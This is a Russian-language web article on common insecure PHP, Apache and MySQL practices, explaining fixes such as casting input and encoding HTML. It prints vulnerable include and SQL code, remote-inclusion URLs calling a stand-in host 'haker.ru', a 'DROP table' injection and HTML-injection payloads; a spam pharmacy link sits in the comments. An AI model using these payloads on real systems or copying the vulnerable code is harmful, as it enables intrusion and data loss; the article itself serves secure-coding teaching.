Вторник, 2019-06-25, 2:48 PM
Главная страница | Регистрация | Вход Приветствую Вас заблудившийся пакет | RSS
Меню сайта

Категории каталога
Программирование [58]
.. все с этим делом связаное..
Нейронные сети [4]
Нейронные сети, использование алгоритмы роботы
HACK [5]
Здесь материалы находятся лишь для ознакомления и НЕ БОЛЬШЕ!!!! Автор не несет отвественности за использование материалов даной категории
OC [6]
Unix, FreeBSD, Windows, Linux Описание, совети, секреты, настройки
WEB [25]
web-programming и все с этим связаное
Сети [2]
Описание сетей, сетевых технологий, настройки и некоторые секреты
Мабила [9]
Описание мобильных технологий, программинг под мабилу, и просто интересные моменты
Разное [10]
то что не вошло в другие категории.. прикольные истории про программеров и деятелей информационной индустрии
История [6]
История этого компьтерного мира и некоторых ее учасников
FREE [3]
free on the web..

Наш опрос
Какие категории сайта вам самые интересные?

Результаты · Архив опросов

Всего ответов: 138

Начало » Статьи » WEB

Наиболее частые примеры небезопасного подхода к программированию
Наиболее частые примеры небезопасного подхода к программированию


В этой статье мы попытаемся собрать наиболее часто встречающиеся "дыры" в скриптах и в самих серверах.

Установка сервера



Мультихостовая конфигурация сервера



Сразу скажем что PHP и Апач в этой области далеко не продвинулись. Нормальная многопользовательская конфигурация веб-сервера должна работать под разными пользователями. Т.е. каждый пользователь имеет свою учетную запись в системе, логинится под ней через ФТП, закачивает файлы с правами 0700 и только он может оперировать со своими файлами на веб-сервере. Для этого действует механизм suExec, который, к сожалению, не поддерживается Апачем, когда PHP запущен как модуль. Эта настройка действует только для CGI.




Есть несколько различных решений этой проблем:



  • Настроить хитромудрую систему юзеров/груп, суть которой всегда сводится к тому что все пользователи входят в одну группу, под которой и запущен юзер апача. Например, есть группа "www" в которую входят пользователи "nobody", "pupkin", "jsmith". В httpd.conf есть директива

    ...<br>

    <b>User</b> nobody<br>

    <b>Group</b> www<br>

    ...



    а ФТП настроен так что пользователи кладут файлы с правами 640. Если они хотят изменять файлы не только по ФТП а и через скрипты, они выставляют права 0660.


    в любом случае такая система позволяет одним пользователям читать содержимое файлов других пользователей, а иногда (права 0660) даже изменять их.

  • Та же система, но с включенным safe_mode=On. Надежная, но глючная конфигурация. Если за неделю пользователи pupkin и jsmith не заклюют пользователя root то это значит что они не используют функции работы с файлами. Но если они задумают добавить на свой сайт что-то типа закачки файлов - админу сервера лучше не попадаться им на глаза. А все из-за того что эта директива несовместима с механизмом suExec Апача. При работе с файлами она проверяет, совпадает ли владелец файла/каталога с пользователем Апача. А т.к. пользователь nobody (Апач) и pupkin (файлы пользователя) совсем разные - у Пупкина ничего не выйдет при попытках move_uploaded_file(), fopen(), gzopen() etc.

  • Та же система, но с включенным open_basedir=. Наиболее часто встречающийся способ. Конфигурация ограничивает какие файлы можно открыть с помощью PHP к определенному узлу дерева каталогов. Работа директивы не зависит от того, включена ли директива safe_mode. Когда скрипт пробует открыть файл, для примера, через fopen или gzopen, проверяется путь файла. Если файл находится вне указанного дерева, будет выдано предупреждение и функция не сработает. Symlink'и также открываются. Специальное значение . указывает что директория из которой запущен скрипт будет считаться базовой. Чтобы указать несколько значений, их нужно разделить двоеточием (под Виндами - точкой с запятой). As an Apache module, open_basedir paths from parent directories are now automatically inherited.




    Значение open_basedir на самом деле - префикс, а не название директории. Это означает что "open_basedir = /dir/incl" также позволит доступ к "/dir/include" и "/dir/incls" если они существуют. Если нужно ограничить доступ к определенной директории - укажите её со слешем в конце: "open_basedir = /dir/incl/"

  • Запустить несколько веб-серверов под разными пользователями. Не совсем удачное решение, придется ставить их на разные порты, что неудобно. К тому же 3-5 серверов наверняка тормознут даже хорошее железо.

  • Если Вам наплевать на всякие там предупреждения типа

    Do not use Apache 2.0 and PHP in a production environment neither on Unix nor on Windows.


    то можно поставить модуль MPM (Multi Processing Module), который включается в Апач2. Запустив Апач с модулем "mpm_perchild_module" можно запускать виртуальные хосты под разными юзверями, что ИМХО является лучшим вариантом, особенно в комбинации с safe_mode=On.





Настройка СУБД



Для каждого проекта создайте в СУБД отдельного пользователя, который имеет права ТОЛЬКО на свою базу данных. Например, для сайта г-на Пупкина в СУБД MySQL должны появиться такие записи:



<b>INSERT INTO user </b>('Host', 'User', 'Password', 'Select_priv', 'Insert_priv', 'Update_priv', 'Delete_priv', 'Create_priv', 'Drop_priv', 'Reload_priv', 'Shutdown_priv', 'Process_priv', 'File_priv', 'Grant_priv', 'References_priv', 'Index_priv', 'Alter_priv')<br>

<b>VALUES </b>(<br>

'localhost', 'pupkin', 's0ac67a5', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N', 'N'<br>

);<br><br>

<b>INSERT INTO db VALUES</b><br>('localhost', 'baza_pupkina', 'pupkin', 'Y', 'Y', 'Y', 'Y', 'Y', 'Y', 'N', 'N', 'Y', 'Y');



Семь раз подумайте перед там как дать права на '%' а не на 'localhost' и никогда под любым предлогом не делайте этого для пользователей с правами 'root'.



REGISTER_GLOBALS



Очень важная настройка, которая влияет не только на производительность, а, в первую очередь, на безопасность скриптов. Дело в том, что при register_globals=On все переменные из EGPCS (environment, get, post, cookie, session) будут доступными как обычные переменные, а при наличии двух переменных с одинаковым именем, значение будет взято из той которая левее в этой последовательности: EGPCS. Эту настройку можно поменять в php.ini. Типичный пример - подделка данных сессии через GPC, например - взлом авторизации.



Включения из URL'ов



Очень плохой подход к программированию делать как в таком примере:


index.php?showpage=news.php



<?php

$page
=$_GET['showpage'];

include(
$page);

?>





В лучшем случае вызов страницы index.php?showpage=bla_bla.php покажет ошибку и некоторые данные сервера, в худшем - читать файлы паролей etc. и возможность хакеру запускать свои скрипты в вашем виртуальном хосте со всеми вытекающими последствиями. Последняя угроза лежит в том что хакер может запустить удаленный файл через


index.php?showpage=ftp://ftp.haker.ru/evil-script.php


или


index.php?showpage=http://haker.ru/evil-script.php


(Естественно, файл evil-script.php не должен парсится сервером haker.ru, а выдавать содержимое как есть)



Непроверка типов файлов при закачке



Если давать пользователям возможность закачивать некоторые файлы (например фотки, свои файлы) на файловую систему сервера и при этом не проверять их расширение, то верняк - вас хакнут. Достаточно будет закачать свой скрипт с расширением *.php а потом запустить его, как можно будет получить доступ ко всей инфе на сайте, скриптам, базе а также подредактировать содержимое.




Непроверка ввода пользователя



Все что вводится через GET-POST-COOKIE обязательно должно проверяться, приводиться к наименьшему типу, потому что никто не мешает юзеру поредактировать POST-форму, дописать в УРЛу чего-нибудь, поредактировать куку или, вообще, послать свой запрос телепортом, вообщем - прислать вам троянскую свинью


Наиболее типичная цель таких атак - SQL запросы, которые формируются из запросов пользователя. В таком примере:


file.php?id=23



<?php

$res
=mysql_query("SELECT * FROM table WHERE id=".$_GET['id']);

?>





ничто не мешает дописать пользователю что-либо кроме ?id=23 или спровоцировать ошибку. Например


index.php?id=23; DROP table


удалит таблицу, а ещё, в зависимости от прав пользователя, можно много чего натворить.


Всегда приводите типы переменных к наименьшему:


index.php?id=23; DROP table




<?php

$id
=(int)$_GET['id'];

if (
$id<1){

 die(
'No ID specified');

}

$res=mysql_query("SELECT * FROM table WHERE id=".$id);

?>





выведет что и ожидалось.


Если данные должны быть строковые - проверяйте их как можно глубже. Это может быть и длина (максимальная, минимальная, пустая строка), наличие недопустимых знаков (латинские, цифры, кириллица), правильность УРЛов, адресов электронной почты.

Нагруженные УРЛы



Передавайте через УРЛ минимум информации:

<b>http://www.example.com/showuser.php?name=Pupkin&dept=13&cat=employee&show=full</b><br>

намного лучше будет так<br>

<b>http://www.example.com/showuser.php?id=176</b>



Использование посетителями HTML



Если вы даете своим посетителям вводить какие-либо данные, которые потом будут показаны на странице (н. сообщения форума, чата, новости, резюме etc.) ВСЕГДА делайте над вводом пользователя htmlencode() перед тем как выдать его на-гора. А то они обязательно напихают туда каких-либо <img src="http://haker.ru/evil-spy.php"> или <iframe src=c:\></iframe>



Источник: http://php.com.ua
Категория: WEB | Добавил: X-SAM (2006-05-10) | Автор: Yurik
Просмотров: 1203 | Комментарии: 3 | Рейтинг: 0.0

Всего комментариев: 1
1 TheothDed  
knight pharmacy michigan http://exclusiverx.com/products/cystone.htm are canadian pharmacys legal

Имя *:
Email *:
Код *:

Украинская Баннерная Сеть
Поиск по каталогу

Кнопки друзей

Статистика
Рейтинг сайтов Powered by MyPagerank.Net

Copyright DEBUGGER © 2007 Используются технологии uCoz